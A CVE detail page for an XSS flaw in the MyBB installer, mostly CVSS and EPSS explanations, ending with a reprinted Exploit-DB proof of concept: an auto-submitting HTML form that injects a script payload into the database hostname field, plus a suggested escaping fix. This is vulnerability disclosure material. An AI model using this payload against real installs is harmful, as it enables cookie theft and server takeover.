CVE-2017-16781 : Detail

CVE-2017-16781

5.4
/
Medium
Cross-site Scripting
A03-Injection
0.52%V3
Network
2017-11-10
22h00 +00:00
2017-11-20
09h57 +00:00
CVE.org
NVD
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CVE Descriptions

The installer in MyBB before 1.8.13 has XSS.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.4 MEDIUM CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 3.5 AV:N/AC:M/Au:S/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43137

Publication date : 2017-11-10 23h00 +00:00
Author : Pabstersac
EDB Verified : Yes

# Exploit Title: XSS in MyBB up to 1.8.13 via installer # Date: Found on 05-29-2017 # Exploit Author: Pablo Sacristan # Vendor Homepage: https://mybb.com/ # Version: Version > 1.8.13 (Fixed in 1.8.13) # CVE : CVE-2017-16781 No HTML escaping when returning an $error in /install/index.php can lead to an XSS which can be used to take over an attacker account. The vulnerability occurs in /install/index.php:2503 and occurs because there is no html encoding of the $error. A simple way to exploit this is to create an error by using the Database Server Hostname and inserting HTML characters there. It is a POST XSS and this is a PoC: <form name="x" action="http://target.com/install/index.php" method="post"> <input type="hidden" name='dbengine' value="mysqli"> <input type="hidden" name='config[mysqli][dbhost]' value="<img src=x onerror=alert(0)>"> <input type="hidden" name='config[mysqli][dbuser]' value="lol"> <input type="hidden" name='config[mysqli][dbpass]' value="lol"> <input type="hidden" name='config[mysqli][dbname]' value="lol"> <input type="hidden" name='config[mysqli][tableprefix]' value="lol"> <input type="hidden" name='config[mysqli][encoding]' value="utf8"> <input type="hidden" name='config[mysql][dbhost]' value="localhost"> <input type="hidden" name='action' value="create_tables"> </form> <script>document.x.submit();</script> Using this attack you can steal the cookies and you can install the MyBB server as you want, giving you almost full control over the MyBB server. A simple fix would be to change the function error_list($array) to: function error_list($array) { $string = "<ul>\n"; foreach($array as $error) { $string .= "<li>"; $string .= htmlspecialchars($error); $string .= "</li>"; } $string .= "</ul>\n"; return $string; }

Products Mentioned

Configuraton 0

Mybb>>Mybb >> Version To (including) 1.8.12

References

https://www.exploit-db.com/exploits/43137/
Tags : exploit, x_refsource_EXPLOIT-DB